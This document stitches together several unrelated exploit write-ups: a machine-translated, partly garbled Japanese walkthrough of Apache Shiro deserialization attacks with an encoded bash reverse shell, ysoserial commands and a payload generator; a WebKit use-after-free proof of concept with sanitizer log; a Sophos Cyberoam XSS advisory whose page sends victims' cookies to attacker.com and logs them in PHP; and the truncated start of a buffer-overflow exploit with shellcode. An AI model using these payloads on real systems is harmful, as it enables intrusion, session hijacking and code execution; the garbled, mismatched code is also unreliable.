次に、暗号化された命令に変換します(このウェブサイトにアクセスしてくださいhttp://www.jackson-t.ca/runtime-exec-payloads.html)1049983-20201203093908901-2096603826.pngBash -C {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | {base64、-d} | {bash、-i}注:なぜリバウンドシェルをエンコードする必要があるのですか? exec()関数では、 ''パイプ文字には意味がなく、他の意味に解析され、リバウンドシェルコマンドで使用する必要があるため、エンコードする必要があります。さらに、StringTokenizerクラスは、スペースを含むスペースを含むパラメーターを破壊します。このLS「My Directory」のようなものは、LS '' My ''ディレクトリ'6と解釈されます。攻撃航空機で実行された最終コマンドは次のとおりです。Java-CP YSOSERIAL -MASTER -SNAPSHOT.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 1086 COMMONSCOLLECTIONS4 "BASH -C -C {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | {base64、-d} | {bash、-i} "1049983-20201203093909244-1478964296.png7。 shiro.pyを使用してペイロードを生成し、python2環境が必要であり、シロの内蔵デフォルトキーを使用してペイロードを暗号化します。 shiro.py:importsimportuidimportbase64importsubprocessfromcrypto.cipherimportaesdefencode_remembe rme(command):popen=subprocess.popen(['java'、 ' - jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、コマンド]、stdout=subprocess.pipe)bs=aes.block_sizepad=lambdas: s+((bs-len(s)%bs)*chr(bs-len(s)%bs)) iv)file_body=pad(popen.stdout.read())base64_ciphertext=base64.b64encode(iv+encryptor.encrypt(file_body))returnbase64_cip hertextif__name __=='__ main __' :payload=encode_rememberme(sys.argv [1])print'rememberme={0} '。形式(payload.decode())8。ターゲットマシンルートでペイロード暗号化処理を実行する@shiro:〜/shiro_exploit#python shiro.py 149.28.94.72:1099 //攻撃マシンのIPアドレスとJavaリスニングポートは、ysoserial.jarと同じディレクトリに配置されます。

rememberme=js0jb6nwtg6o1zve0y6l2cxy9xbf/f6sgzhcol11yhyky3grxdggrms3xuucdq+mploc6wzlfpeqdpm+o1rs3fn8n2jwz di7xi4zzlci3v3svhasoqoyx6eb5s7aqlhepx6t7p8s5xta5/pdny+bhglofjncr8fa9p1vkcuadvnueefed4k+zyzsemvdmdvgclex4f Z4ZME52G+ZGAMFN+L3FCXIY397E+L8FFHOMIAYZXNL6D/17Z5HJDLX97XRQB31ZBDOIRYIP1VMZDOQGP6ZEFEWTH8K9BWYT5ZRSNWOE7F hcnxsrsctd+cbomqt5nuwnh9jz4pk4vehymuazaz3tvb9ebfbthynxvshtwsekltp8sgpscskbbmcfkl3q6qr+ri+15fozleasfvlia==1049983-20201203093909638-2063943902.png9。次に、攻撃マシンでポート2222を聴き、シェルが1049983-20201203093912336-1604929598.png10のリバウンドを待ちます。 CookieフィールドのJessionIDに生成されたレメバム値を追加し、セミコロンを使用して新しく生成されたペイロードを追加し、パケット1049983-20201203093912965-728885270.png11をリリースします。パケットが送信されたら、攻撃マシンのJava監視インターフェイスとNC監視ポートを確認します。結果は、次の図1049983-20201203093913446-351042190.png 1049983-20201203093913836-1186252345.jpg2。shiro_exploitスクリプト利用再現1。shiro_exploitのpocを使用して、ターゲットマシンキールート@shiro:〜/shiro_exploit#python3 shiro_exploit.pyploit http://149.28.94.72:8080 1049983-20201203093919203-263706918.png 1049983-20201203093920580-2085239307.png2。 shiro_exploitのPOCを使用して、リバウンドシェルルート@shiro:〜#git clone https://github.com/insightglacier/shiro_exploit.gitroot@shiro:~/shiro_exploit# pip3インストールPIP3 PIP3 PICRYPTODOMEPYTOMPYTOMEPYTHON3 SHIRO_EXPLOIT. http://149.28.94.72:8080 -p 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xndkumjguotqunzivmjiymiagida+jje=} | 1049983-20201203093920980-799770678.pngNC -LVVP 2222 1049983-20201203093922798-661421567.png3。 shiro_exploit 'を使用して、ターゲットマシンでファイルを作成しますpython3 shiro_exploit.py -t 3 -u http://149.28.94.72:8080 -p' touch test.txt ''

1049983-20201203093924099-146015132.pngサーバーhfxbvjwiztu7605.png4にa.txtファイルが正常に作成されました。 shiro_exploitのPOC検出方法を使用して、Gadget Python3 shiro_exploit.py -u 3http://149.28.94.72:8080 -t 3 -p 'Ping -c 2 1m054t.dnslog.cn 1049983-20201203093924792-1415093614.pngdnslogは、dnslogに要求されたドメイン名が表示され、脆弱性が存在することを証明します1049983-20201203093926679-2047167987.png iii。 shiroexploitグラフィカルツールは、https://github.com/feihong-cs/shiroexploitshiro550を使用して再現されます。シェル)NC -LVVP 3333

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1109

PoC:
-->

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let g = f.contentDocument.body.appendChild(document.createElement('iframe'));
g.contentWindow.onunload = () => {
    g.contentWindow.onunload = null;

    let h = f.contentDocument.body.appendChild(document.createElement('iframe'));
    h.contentWindow.onunload = () => {
        h.contentWindow.onunload = null;

        let a = f.contentDocument.createElement('a');
        a.href = 'about:blank';
        a.click();
    };
};

f.src = 'about:blank';

</script>
</body>

<!--
Asan Log:
=================================================================
==4096==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a0000c0e58 at pc 0x00010da7af9b bp 0x7fff5aaa92d0 sp 0x7fff5aaa92c8
READ of size 8 at 0x61a0000c0e58 thread T0
    #0 0x10da7af9a in WebCore::FrameView::scheduleRelayout() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa7f9a)
    #1 0x10da6d069 in WebCore::FrameView::layout(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa9a069)
    #2 0x10da82ea1 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaafea1)
    #3 0x10da82edf in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaafedf)
    #4 0x105629eea in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x4bfeea)
    #5 0x10ec4844b in WebCore::LayerFlushScheduler::layerFlushCallback() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c7544b)
    #6 0x7fffd624c396 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7396)
    #7 0x7fffd624c306 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7306)
    #8 0x7fffd622c995 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87995)
    #9 0x7fffd57b8a5b in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30a5b)
    #10 0x7fffd57b8890 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30890)
    #11 0x7fffd57b86c5 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x306c5)
    #12 0x7fffd3d5e5b3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x475b3)
    #13 0x7fffd44d8d6a in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c1d6a)
    #14 0x7fffd3d52f34 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3bf34)
    #15 0x7fffd3d1d84f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x684f)
    #16 0x7fffeb9e88c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
    #17 0x7fffeb9e72e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
    #18 0x105156b73 in main (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #19 0x7fffeb784254 in start (/usr/lib/system/libdyld.dylib+0x5254)

0x61a0000c0e58 is located 472 bytes inside of 1232-byte region [0x61a0000c0c80,0x61a0000c1150)
freed by thread T0 here:
    #0 0x108730cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x10ad4a73f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fd73f)
    #2 0x10f448eee in WTF::RefPtr<WebCore::Widget>::operator=(std::nullptr_t) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2475eee)
    #3 0x10f447ab9 in WebCore::RenderWidget::setWidget(WTF::RefPtr<WebCore::Widget>&&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2474ab9)
    #4 0x10da26c7e in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa53c7e)
    #5 0x10578df3b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x623f3b)
    #6 0x10da3d6ff in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6a6ff)
    #7 0x10da3c7d3 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa697d3)
    #8 0x10d737bd7 in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x764bd7)
    #9 0x10d73fd0e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76cd0e)
    #10 0x10d7400d5 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76d0d5)
    #11 0x10da40c31 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6dc31)
    #12 0x10da3a673 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa67673)
    #13 0x10efb4805 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe1805)
    #14 0x10efb465f in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe165f)
    #15 0x10efb5fba in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2fba)
    #16 0x1057781ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e1ee)
    #17 0x105778046 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e046)
    #18 0x1057880aa in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61e0aa)
    #19 0x10efb5a59 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2a59)
    #20 0x10da3951f in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6651f)
    #21 0x10da38236 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa65236)
    #22 0x10da34b51 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa61b51)
    #23 0x10da2e040 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5b040)
    #24 0x10da2d5c9 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a5c9)
    #25 0x10ee94e8c in WebCore::ScheduledLocationChange::fire(WebCore::Frame&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ec1e8c)
    #26 0x10ee9176f in WebCore::NavigationScheduler::timerFired() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ebe76f)
    #27 0x10fa4c971 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a79971)
    #28 0x10ecaa46f in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1cd746f)
    #29 0x7fffd6236243 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x91243)

previously allocated by thread T0 here:
    #0 0x108730790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fffeb9062d9 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x22d9)
    #2 0x10ad54154 in bmalloc::DebugHeap::malloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1907154)
    #3 0x10ad494fb in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fc4fb)
    #4 0x10ace0e95 in bmalloc::Allocator::allocate(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893e95)
    #5 0x10ace0178 in WTF::fastMalloc(unsigned long) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893178)
    #6 0x10da65109 in WebCore::FrameView::create(WebCore::Frame&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92109)
    #7 0x10da26b5c in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa53b5c)
    #8 0x10578df3b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x623f3b)
    #9 0x10da3d6ff in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6a6ff)
    #10 0x10da3c7d3 in WebCore::FrameLoader::commitProvisionalLoad() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa697d3)
    #11 0x10d737bd7 in WebCore::DocumentLoader::finishedLoading(double) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x764bd7)
    #12 0x10d73fd0e in WebCore::DocumentLoader::maybeLoadEmpty() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76cd0e)
    #13 0x10d7400d5 in WebCore::DocumentLoader::startLoadingMainResource() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x76d0d5)
    #14 0x10da40c31 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6dc31)
    #15 0x10da3a673 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WebCore::FormState*, bool, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa67673)
    #16 0x10efb4805 in std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>::operator()(WebCore::ResourceRequest const&, WebCore::FormState*, bool) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe1805)
    #17 0x10efb465f in WebCore::PolicyCallback::call(bool) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe165f)
    #18 0x10efb5fba in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2fba)
    #19 0x1057781ee in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e1ee)
    #20 0x105778046 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60e046)
    #21 0x1057880aa in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WebCore::FormState*, std::__1::function<void (WebCore::PolicyAction)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61e0aa)
    #22 0x10efb5a59 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WebCore::FormState*, std::__1::function<void (WebCore::ResourceRequest const&, WebCore::FormState*, bool)>) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fe2a59)
    #23 0x10da3951f in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa6651f)
    #24 0x10da38236 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WebCore::FormState*, WebCore::AllowNavigationToInvalidURL) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa65236)
    #25 0x10da34b51 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa61b51)
    #26 0x10da2e040 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WebCore::FormState*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5b040)
    #27 0x10da2d5c9 in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a5c9)
    #28 0x10da2d84a in WebCore::FrameLoader::urlSelected(WebCore::URL const&, WTF::String const&, WebCore::Event*, WebCore::LockHistory, WebCore::LockBackForwardList, WebCore::ShouldSendReferrer, WebCore::ShouldOpenExternalURLsPolicy, std::optional<WebCore::NewFrameOpenerPolicy>, WTF::AtomicString const&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa5a84a)
    #29 0x10db97108 in WebCore::HTMLAnchorElement::handleClick(WebCore::Event&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbc4108)

SUMMARY: AddressSanitizer: heap-use-after-free (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa7f9a) in WebCore::FrameView::scheduleRelayout()
Shadow bytes around the buggy address:
  0x1c3400018170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3400018180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c3400018190: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c34000181c0: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x1c34000181d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c34000181f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018200: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c3400018210: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==4096==ABORTING

Tested on Safari 10.0.3(12602.4.8).
-->
            
# Exploit Title: Sophos Cyberoam – Cross-site scripting (XSS) vulnerability
# Date: 25/05/2017
# Exploit Author: Bhadresh Patel
# Version: <= Firmware Version 10.6.4
# CVE : CVE-2016-9834

This is an article with video tutorial for Sophos Cyberoam –
Cross-site scripting (XSS) vulnerability


--------------------------------------------------------------------------------------------------------------------------

Title:
====

Sophos Cyberoam – Cross-site scripting (XSS) vulnerability

Credit:
======

Name: Bhadresh Patel


Date:
====

25/05/2017 (dd/mm/yyyy)

Vendor:
======


More than 100 million users in 150 countries rely on Sophos to offer
end-to-end protection against complex threats and data loss. Sophos is
committed to providing complete, enterprise-grade security solutions that
are simple to deploy, manage and use, and deliver one of the industry's
lowest total cost of ownership. Sophos offers award-winning security
solutions covering endpoint, mobile, server, encryption, web, email, Wi-Fi,
and UTM/next-generation firewall, all backed by SophosLabs -- a global
threat analysis center which provides real-time cloud-enabled security
intelligence. Sophos is headquartered in Oxford, UK.


Vulnerable Product:
==============


Sophos Cyberoam Firewall


Cyberoam Next-Generation Firewalls are based on CyberoamOS – an intelligent
and powerful firmware that offers next-generation security features include
inline application inspection and control, website filtering, HTTPS
inspection, Intrusion Prevention System, VPN (IPSec and SSL) and
QoS/bandwidth management. Additional security features like Web Application
Firewall, Gateway Anti-Virus, Gateway Anti-Spam are also available.


Customer Product link: https://www.cyberoam.com



Abstract:
=======

Cross-site scripting (XSS) vulnerability in Sophos Cyberoam firewall
enables and attackers to execute scripts in a victim’s browser to hijack
user sessions, deface web sites, insert hostile content, redirect users,
hijack the user’s browser using malware, etc.




Affected Software Version:
=============


<= Firmware Version 10.6.4


Vendor Response

=============


Sophos is committed to working with the security community in identifying,
remediating and communicating security issues in our products. Customers
are advised to upgrade their Cyberoam OS to v.10.6.5, which addresses this
issue.


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

6.9 (Medium) (CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N)



CVE ID:

=======


CVE-2016-9834


Details:

=======

This vulnerability allows remote attackers to execute arbitrary client side
script in the active user’s browser session, when logged into the Cyberoam
firewall. User interaction is required to exploit this vulnerability in
that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the handling of request to
“LiveConnectionDetail.jsp” application. GET parameters “applicationname”
and “username” are improperly sanitized allowing an attacker to inject
arbitrary javascript into the page. This can be abused by an attacker to
perform a cross-site scripting attack on the user.


Vulnerable module/page/application:
/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp


Vulnerable parameters: applicationname and username


=======

*PoC*


http://192.168.30.30/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?ipFamily=0&applicationname=OTHER%20APPLICATIONS46449
";alert(document.cookie)//181&username=NA


*PoC Video*


https://www.youtube.com/watch?v=NmLPL2TYPcg


*Real world scenario*


1) Victim (Admin) login to the Sophos Cyberoam web console

2) Sophos Cyberoam FW is on a latest version

3) record.txt is empty on attacker page

4) Victim (Admin) visits attacker URL/page


http://www.attacker.com/promo.html


5) XSS successful and attacker captured cookie in record.txt




-------------------------- Source code (promo.html)
----------------------------------

<html>

<head>

<script>

window.location="
http://192.168.30.30/corporate/webpages/trafficdiscovery/LiveConnectionDetail.jsp?ipFamily=0&applicationname=OTHER%20APPLICATIONS46449\
";document.location='
http://www.attacker.com/capture.php?content='.concat(escape(document.cookie));//181&username=NA
"

</script>

</body>

</html>

-------------------------- Source code (capture.php)
----------------------------------


<?php

file_put_contents('record.txt', $_GET['content']);

echo "<HTML><body><script>window.location=\"
http://192.168.30.30/corporate/webpages/index.jsp\"</script></body></HTML>"

?>




Credits:
=======

Bhadresh Patel


--------------------------------------------------------------------------------------------------------------------------
            
author = '''
  
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
  
# Exploit Title: Dup Scout Enterprise v9.7.18 Import Local Buffer Overflow Vuln.(SEH)
# Date: 2017.05.24
# Exploit Author: Greg Priest
# Version: Dup Scout Enterprise v9.7.18
# Tested on: Windows7 x64 HUN/ENG Professional
'''


import os
import struct

overflow = "A" * 1536
jmp_esp = "\x94\x21\x1C\x65"
#651F20E5 
#651F214E
#652041ED
nop = "\x90" * 16
esp = "\x8D\x44\x24\x4A"
jmp = "\xFF\xE0"
nop2 = "\x90" * 70
nSEH = "\x90\x90\xEB\x05"
SEH = "\x80\x5F\x1C\x90"
#"\x80\x5F\x1C\x65"
#6508F78D
#650E129F
#651C5F80
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
